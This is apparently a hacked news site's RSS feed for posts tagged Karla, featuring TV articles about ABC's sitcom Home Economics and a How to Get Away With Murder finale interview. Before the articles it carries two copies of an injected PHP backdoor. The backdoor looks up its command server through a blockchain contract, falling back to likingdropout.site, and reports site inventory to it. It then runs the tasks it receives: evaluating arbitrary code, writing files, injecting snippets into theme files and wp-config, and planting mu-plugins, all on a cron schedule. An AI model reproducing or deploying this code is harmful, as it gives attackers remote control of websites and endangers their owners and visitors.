// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Karla – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 09 Dec 2020 00:38:38 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Karla – Brief News https://briefnews.eu 32 32 ABC Orders Siblings Sitcom Starring Topher Grace, Karla Souza, Sasheer Zamata, Caitlin McGee and Jimmy Tatro https://briefnews.eu/abc-orders-siblings-sitcom-starring-topher-grace-karla-souza-sasheer-zamata-caitlin-mcgee-and-jimmy-tatro/ https://briefnews.eu/abc-orders-siblings-sitcom-starring-topher-grace-karla-souza-sasheer-zamata-caitlin-mcgee-and-jimmy-tatro/#respond Wed, 09 Dec 2020 00:38:38 +0000 https://briefnews.eu/abc-orders-siblings-sitcom-starring-topher-grace-karla-souza-sasheer-zamata-caitlin-mcgee-and-jimmy-tatro/

ABC is preparing to give viewers a Home Economics lesson, with a Spring 2021 comedy series starring and executive-produced by Topher Grace, TVLine has learned.

The single-camera comedy explores “the heartwarming, yet super uncomfortable and sometimes frustrating relationship between three adult siblings: one in the 1 percent, one middle-class, and one barely holding on,” reads the official synopsis.

Grace (That ’70s Show) will play middle sibling Tom, an intellectual/novelist who has had a couple of books that sold decently, though his last one did not. Caitlin McGee (Bluff City Law) portrays the eldest sibling, Sarah, a therapist for at-risk kids who is married to a teacher, and as such they’re often scraping to make ends meet. A doting mom to her two kids, she tries to be a guru to her two brothers, who obviously would be lost without her wisdom.

Finally, Jimmy Tatro (Modern Family) will play third sibling Connor, who never met a corner he didn’t try to cut. Conner runs his own private equity firm and is outrageously wealthy. He has a keen financial mind, but he’s clueless about how to parent his young daughter Gretchen. He recently moved his family to the Bay Area so he could be closer to his siblings Tom and Sarah. But now he’s learning how his siblings actually feel about him.

The cast also includes Karla Souza (How to Get Away With Murder) as Tom’s wife Marina, a proud New Yorker and former lawyer who would like to go back to work one day (if only to escape her children); SNL vet Sasheer Zamata as Sarah’s wife Denise, a superhumanly patient public-school teacher whose relentlessly positive attitude often perplexes the rest of the family; and a child actor ensemble populated by Shiloh Bearman, Jordyn Starr Curet, Chloe Jo Rountree and JeCobi Swain.

Home Economics is written by Penguins of Madagascar’s Michael Colton and John Aboud and inspired by Colton’s family.

Let’s block ads! (Why?)


https://tvline.com/wp-content/uploads/2020/12/home-economics.jpg

]]>
https://briefnews.eu/abc-orders-siblings-sitcom-starring-topher-grace-karla-souza-sasheer-zamata-caitlin-mcgee-and-jimmy-tatro/feed/ 0
How to Get Away With Murder Finale Recap: Gone Girl — Plus: Karla Souza Breaks Down That Laurel Cliffhanger https://briefnews.eu/how-to-get-away-with-murder-finale-recap-gone-girl-plus-karla-souza-breaks-down-that-laurel-cliffhanger/ https://briefnews.eu/how-to-get-away-with-murder-finale-recap-gone-girl-plus-karla-souza-breaks-down-that-laurel-cliffhanger/#respond Fri, 01 Mar 2019 12:56:56 +0000 http://briefnews.eu/how-to-get-away-with-murder-finale-recap-gone-girl-plus-karla-souza-breaks-down-that-laurel-cliffhanger/ The following post contains spoilers for How to Get Away With Murder‘s Season 5 finale. (Need to catch up? Read our previous episode recap here.)

What a difference a year makes.

When How to Get Away With Murder‘s fourth season came to a close last March, Laurel Castillo’s father had been thrown in jail, her mother had gone off the grid, for better or worse, and life at Middleton University seemed to resume some version of normalcy (except for the lingering mystery of Gabriel Maddox, that is).

But during Thursday’s fifth season finale, the Castillo family made a comeback of sorts, reminding all of us — especially Laurel herself — that defeat won’t come so easily. First, let’s briefly break down what happened in the final Season 5 installment:

* Via flashbacks, we learn that Laurel’s brother, Xavier Castillo, had approached Ronald Miller a few months back, claiming that he could help make Miller the actual district attorney instead of just the interim guy — and it would start with the death of Nate Sr. Throughout the episode, we’re initially led to believe that Miller wanted to work with Xavier wholeheartedly, and that he was OK with Nate Sr.’s murder if it meant becoming D.A. Later, though, it’s revealed that Miller secretly tried to get Nate Sr. transferred from the prison on Wednesday night, a full 12 hours earlier than the Thursday-morning transfer that Xavier had requested, in order to avoid Nate Sr. getting killed.

Miller’s efforts, though, were all for naught. Xavier had found out that Miller was trying to play him, and he paid the prison guards to kill Nate Sr. when he was being moved at night. Miller had been heartbroken to see Nate Sr.’s death on the news, and even more devastated to realize that he’d gotten involved with someone very, very dangerous.

* Laurel sees the video footage of her brother meeting with Nate Sr. at the prison, and she’s convinced that her family has been behind all of these unsavory events ever since Wes died. Together, she and Annalise confront Xavier and reveal what they know: that Xavier had Nate Sr. killed, that he’s been working with Gov. Birkhead to destroy Annalise and that he killed Sandrine. (Xavier claims not to know anything about his mother’s whereabouts and insists he didn’t hurt her… but this is also Xavier Castillo we’re talking about, so I don’t exactly trust him.)

HTGAWM Season 5 FinaleAfter Laurel and Annalise leave, Xavier calls Gov. Birkhead and reveals that his sister and Annalise foiled his master plan. “So, Plan B?” he asks the governor, to which she responds, “She’s given us no other choice.” Later, while Annalise and Laurel are walking down a Philadelphia street, Annalise answers a phone call from Tegan — and halfway through the conversation, she realizes that Laurel is no longer standing next to her. In fact, Laurel is nowhere to be found.

At the same time, Frank bursts into Laurel’s house and races up to Christopher’s nursery, only to find that Christopher is missing from his crib. “He’s gone, Annalise. They’re both gone,” Frank tells Annalise, who is left to helplessly scream Laurel’s name in the middle of the street.

* Gov. Birkhead goes on live television to tell the people of Pennsylvania that Emmett Crawford is a person of interest in both Nate Sr.’s death and Miller’s death. Even worse for Emmett? After pouring himself a drink in his office later that night, he falls to the floor, convulsing, having presumably been poisoned. (Or perhaps having a heart attack? He is clutching his chest, after all.) Emmett is still alive the last time we see him, even though he’s gasping for air — but on the other hand, Timothy Hutton did just book a pilot for the fall TV season. Hmm.

After screening Thursday’s finale, TVLine spoke with HTGAWM star Karla Souza, who portrays Laurel, to get her insights on her character’s mysterious disappearance (and what it means for a potential Season 6). Read on for her thoughts:

TVLINE | I was a little surprised to see Laurel’s family return in such a big way this season, given how nicely that storyline seemed to wrap up in Season 4. Were you surprised by that, as well, or was this something you and showrunner Pete Nowalk had previously discussed when Season 5 began?
Ever since my family was first revealed in the show at that dinner party [in Season 1], Pete had deliberately planned for my father, my mother and my brother [to be involved]. I had previously done an audition with someone to play [Castillo family friend] Dominick, and Gerardo [Celasco], who plays my brother, had auditioned with me. He was lovely, and he and I had a lot of chemistry, but I remember Pete saying, “I’m holding off because I think he looks like you too much. I don’t think he should play Dominick, I think he should play your brother later on in the show.” So, I had heard Pete’s idea to have my brother in the background, kind of as the Mini-Me version of my father. And seeing as my father was put in prison, I also had that idea of, “OK, that storyline’s kind of wrapped up, that’s it.”

But when I was talking to Pete creatively, as we have every year, we were talking about the implications of what it means to have a son in all of this. Once Christopher’s involved and witnesses a murder, I would definitely make a decision about that, as a new mom. I couldn’t just keep saying, “Oh, this isn’t safe for my son,” and just not do anything. Something must be done. Laurel sees that however much they try to get out of the danger zone, they just keep coming back, and then after she receives her mom’s scalp, she realizes that her premonitions of how evil her family can be are true. In a way, it adds to the guilt of Laurel feeling that her family has been involved in all of the bad stuff that’s happened to the Keating Five since Wes’ death. That’s why it makes this disappearance interesting. The fans might think that Laurel disappeared of her own accord, or that maybe Laurel was abducted by her family in some way, or killed. Those are two avenues that could very well be plausible because of Laurel’s constant fear of having Christopher in this world.

TVLINE | In this finale, the Keating Five learns that Laurel had the opportunity to take an immunity deal with the FBI, which she chose not to do. Did Laurel ever seriously consider taking the deal and getting out of there?
For sure. I definitely played, at least for me, that it was a possibility. If you had to decide whether to protect your son or protect your friends — as a mom, all bets are off when it’s regarding your child. [Laughs] But however close she comes to making that decision, she also realizes the loyalty she has for them. And because of the guilt she feels at her family being the motor of all the bad things going on, that’s why she decides to hold herself accountable and promise that she will be loyal to them. It’s her way of saying, “No, you guys have been loyal to me, I’ll be loyal to you,” and she has to think of another plan.

HTGAWM Season 5 FinaleTVLINE | Laurel has a big confrontation with her brother in this episode, but he seems to be genuinely surprised by the news that something bad happened to their mother. Does Laurel have any doubts in that moment? Did Xavier perhaps have nothing to do with it?
As we were working that scene out with Gerardo and [episode director] Stephen Cragg, we said that Laurel’s been the No. 1 concealer of all her cards on the show. She’s been able to put on a front for anyone questioning her, she puts on a whole show for Gabriel. And because [Laurel and Xavier] are part of the same family… it’s open as to whether he knows or not. He plays it very well, but I would say let’s not be fooled by a Castillo. [Laughs] That’s all I would say about that.

TVLINE | And at the risk of sounding like a conspiracy theorist, do viewers have reason to be suspicious of Laurel, as well? We never did see Laurel’s last conversation with her mom, and we don’t know for sure that she didn’t hurt Sandrine. Should we take Laurel’s words at face value and believe that she’s simply a victim of her terrible family?
No, I don’t think Laurel is a victim. I definitely think she plays a part in it, and for me, that’s the more interesting part to play. We’ve seen, more and more often — I mean, she hid that [engagement] ring from Michaela for so long [in Season 1]. She’s capable of a lot of things to get her own way. And now, her own way is protecting her son, so she’s capable of hiding and portraying whatever she needs to in order to have that plan work.

